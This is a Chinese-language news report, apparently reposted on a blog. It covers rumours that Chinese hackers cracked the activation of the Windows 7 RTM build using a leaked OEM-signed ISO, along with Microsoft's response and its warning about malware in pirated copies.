微軟 (MSFT-US;Microsoft) 日前才將最新 PC 作業系統 Windows 7 最終版原始碼交給製造商,據傳已遭中國駭客破解,接下來市面上恐怕很快就會出現盜版軟體,而用戶也不需透過微軟伺服器驗證,即可離線使用,顯示該軟體還未上市就已面臨安全風險。

微軟目前已將 Windows 7 的 RTM 版本送交給製造商,而 RTM 程式碼通常與零售代碼相同,這項產品已準備要在 10 月正式上市。

一般而言,PC 製造商往往會在事前得到最終版本的商品,以便有足夠的時間提前作業,才能趕在發售日前將產品製造出來。

不過現在傳出該程式碼已經遭到中國駭客破解,根據《Cnet》報導,這意味著用戶不需要接受微軟伺服器的驗證,就能夠以離線狀態自由使用該軟體。

據傳駭客是透過外洩的 ISO 文件掌握啟動認可,而該文件上面有微軟的給製造商的數位簽章。媒體報導,這代表不久之後消費者就能在中國或越南等國,以不到 1 美元的價格買到 Windows 7 的最新版本盜版軟體。

而微軟也已對此發表聲明,表示該公司知道有人試圖避開 Windows 7 的驗證,目前正致力保護顧客免受盜版軟體的威脅。

另外,微軟也強烈建議民眾不要自行下載未經授權、來源不明的 Windows 7 作業系統,否則使用者可能因下載到假冒軟體,增加感染病毒、木馬程式和其他惡意軟體的風險,不但會嚴重傷害到用戶本身的電腦,甚至會盜竊使用者的資料用於其他犯罪用途。

hses 發表在 痞客邦 留言(0) 人氣()